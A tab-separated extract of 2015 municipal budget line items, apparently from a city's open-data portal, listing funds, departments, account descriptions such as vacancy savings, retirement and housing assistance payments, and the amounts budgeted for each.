16246	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2015	1171.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1171.0
16247	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		UNEMPLOYMENT		Salaries and Wages	2015	1774.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1774.0
16248	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2015	12216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12216.0
16249	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2015	8247.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8247.0
16250	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	17681.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17681.0
16251	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	22870.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22870.0
16252	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	4269.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4269.0
16253	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522180.0	BANK FEES		 Supplies and Expenses	2015	600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	600.0
16254	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	2139.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2139.0
16255	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	552010.0	CUSTODIAL SERVICES		 Supplies and Expenses	2015	11464.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11464.0
16256	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2015	435.0	0	0	0	0	0	0.0	0	0	0	0	0.0	435.0
16257	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-38313.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-38313.0
16258	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-9409.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-9409.0
16259	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-14974.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-14974.0
16260	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-29224.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-29224.0
16261	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2015	-206873.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-206873.0
16262	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2015	-409844.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-409844.0
16263	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2015	-102712.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-102712.0
16264	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	-22048.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-22048.0
16265	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2015	-33647.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-33647.0
16266	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	-16127.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-16127.0
16267	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	-8933.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8933.0
16268	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	561504.0	SERIAL INEBRIATE PROG-HAP	816.0	 Supplies and Expenses	2015	356349.0	0	0	0	0	0	0.0	0	0	0	0	0.0	356349.0
16269	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571120.0	S+C HAP TRA	816.0	 Supplies and Expenses	2015	1534938.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1534938.0
16270	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571150.0	S+C HAP NEW	816.0	 Supplies and Expenses	2015	276654.0	0	0	0	0	0	0.0	0	0	0	0	0.0	276654.0
16271	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16272	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-10900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10900.0
16273	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2015	-261835.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-261835.0
16274	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	1724876.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1724876.0
16275	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2015	24952.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24952.0
16276	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2015	-7523.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-7523.0
16277	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	-81805.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-81805.0
16278	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511900.0	VACANCY SAVINGS		Salaries and Wages	2015	-23288.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-23288.0
16279	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511490.0	OVERTIME	816.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16280	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522720.0	MILEAGE	816.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
16281	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2015	14552.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14552.0
16282	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	5717.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5717.0
16283	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	85452.0	0	0	0	0	0	0.0	0	0	0	0	0.0	85452.0
16284	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	78793.0	0	0	0	0	0	0.0	0	0	0	0	0.0	78793.0
16285	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	1876.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1876.0
16286	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
16287	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	542210.0	PUBLICATIONS	804.0	 Supplies and Expenses	2015	209130.0	0	0	0	0	0	0.0	0	0	0	0	0.0	209130.0
16288	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2015	19640.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19640.0
16289	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2015	36960.0	0	0	0	0	0	0.0	0	0	0	0	0.0	36960.0
16290	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2015	9240.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9240.0
16291	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-38389.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-38389.0
16292	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2015	-66076.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-66076.0
16293	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2015	-305450.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-305450.0
16294	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	-12493.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12493.0
16295	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	404771.0	PROP C LR-BIKE TRANSIT CENTER	610.0	Intergovernmental	2015	-30625.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-30625.0
16296	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-8271.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8271.0
16297	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-22576.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-22576.0
16298	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2015	-61230.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-61230.0
16299	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2015	-33616.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-33616.0
16300	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2015	-63251.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-63251.0
16301	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2015	-74804.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-74804.0
16302	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	-15658.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-15658.0
16303	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	105435.0	0	0	0	0	0	0.0	0	0	0	0	0.0	105435.0
16304	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-24220.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-24220.0
16305	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2015	4282.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4282.0
16306	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2015	317705.0	0	0	0	0	0	0.0	0	0	0	0	0.0	317705.0
16307	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	588080.0	OFFICE EQUIPMENT	816.0	 Supplies and Expenses	2015	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
16308	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405610.0	LAWN BOWLING	612.0	Charges for Service	2015	-1746.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1746.0
16309	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561430.0	STEP OFF THE STREETS SHP		 Supplies and Expenses	2015	13458.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13458.0
16310	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562155.0	PRESCHOOL-ERLY INT & VIOL PREV		 Supplies and Expenses	2015	141129.0	0	0	0	0	0	0.0	0	0	0	0	0.0	141129.0
16311	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403720.0	HUD SERIAL INEBRIATE GRANT	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16312	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577720.0	CDBG REIMB-HUMAN SVC	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16313	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533040.0	SPECIAL INSURANCE	806.0	 Supplies and Expenses	2015	3000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3000.0
16314	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 PORT IN	610.0	Intergovernmental	2015	-21022.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-21022.0
16315	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400882.0	SPC HAP TRA	610.0	Intergovernmental	2015	-1534938.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1534938.0
16316	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400921.0	SPC ADMIN SU02	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16317	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2015	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
16318	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400394.0	HAP REVENUE - PORTS	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16319	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2015	16763.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16763.0
16320	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2015	222562.0	0	0	0	0	0	0.0	0	0	0	0	0.0	222562.0
16321	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		EAP	816.0	Salaries and Wages	2015	1357.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1357.0
16322	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2015	3004.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3004.0
16323	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	408220.0	PUBLIC NOTIFICATION REVENUE	612.0	Charges for Service	2015	-9825.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-9825.0
16324	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511580.0	COLLEGE SUMMER INTERNS	804.0	Salaries and Wages	2015	57186.0	0	0	0	0	0	0.0	0	0	0	0	0.0	57186.0
16325	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	12390.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12390.0
16326	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		DCAP	804.0	Salaries and Wages	2015	504.0	0	0	0	0	0	0.0	0	0	0	0	0.0	504.0
16327	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	3387.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3387.0
16328	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	200.0
16329	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	579260.0	INTERNET/WWW SERVICES	804.0	 Supplies and Expenses	2015	31000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31000.0
16330	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2015	3412.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3412.0
16331	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2015	13677.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13677.0
16332	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
16333	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2015	11802.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11802.0
16334	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2015	13141.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13141.0
16335	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	533090.0	PROJECT MAINTENANCE	808.0	 Supplies and Expenses	2015	122160.0	0	0	0	0	0	0.0	0	0	0	0	0.0	122160.0
16336	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 HAP VOUCHERS	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16337	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522340.0	BUY LOCAL CAMPAIGN		 Supplies and Expenses	2015	20360.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20360.0
16338	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2015	-17402.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-17402.0
16339	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2015	347731.0	0	0	0	0	0	0.0	0	0	0	0	0.0	347731.0
16340	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		UNEMPLOYMENT	816.0	Salaries and Wages	2015	8311.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8311.0
16341	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		EAP	816.0	Salaries and Wages	2015	2081.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2081.0
16342	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		DISABILITY INSURANCE	816.0	Salaries and Wages	2015	12342.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12342.0
16343	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2015	1177.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1177.0
16344	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2015	106.0	0	0	0	0	0	0.0	0	0	0	0	0.0	106.0
16345	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2015	3900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3900.0
16346	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405620.0	PRIVATE COACHING FEE	612.0	Charges for Service	2015	-1600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1600.0
16347	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
16348	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		ST. JOE-HPSHP		 Supplies and Expenses	2015	301696.0	0	0	0	0	0	0.0	0	0	0	0	0.0	301696.0
16349	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562434.0	SHP-OPCC	810.0	 Supplies and Expenses	2015	112958.0	0	0	0	0	0	0.0	0	0	0	0	0.0	112958.0
16350	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	510000.0	SALARIES AND WAGES		Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16351	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511749.0	VISION	804.0	Salaries and Wages	2015	735.0	0	0	0	0	0	0.0	0	0	0	0	0.0	735.0
16352	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562270.0	ST. JOHN'S CFDC-ROGERS LEARNIN		 Supplies and Expenses	2015	60466.0	0	0	0	0	0	0.0	0	0	0	0	0.0	60466.0
16353	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577724.0	ST JOE HPSHP-CDBG	810.0	 Supplies and Expenses	2015	44624.0	0	0	0	0	0	0.0	0	0	0	0	0.0	44624.0
16354	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	21282.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21282.0
16355	BA	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	30708.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30708.0
16356	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	8693.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8693.0
16357	BA	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	2579.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2579.0
16358	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561147.0	ST. JOE HPSHP - HUD	810.0	 Supplies and Expenses	2015	21672.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21672.0
16359	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	221124.0	0	0	0	0	0	0.0	0	0	0	0	0.0	221124.0
16360	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2015	29248.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29248.0
16361	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	-19539.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-19539.0
16362	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	-13577.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-13577.0
16363	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407611.0	CITY WI-FI ADVERTISING	612.0	Charges for Service	2015	-4000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4000.0
16364	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		EAP	804.0	Salaries and Wages	2015	733.0	0	0	0	0	0	0.0	0	0	0	0	0.0	733.0
16365	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	2640.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2640.0
16366	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401311.0	CONTRACT CLASSES	612.0	Charges for Service	2015	-50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-50000.0
16367	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511748.0	DENTAL	816.0	Salaries and Wages	2015	22046.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22046.0
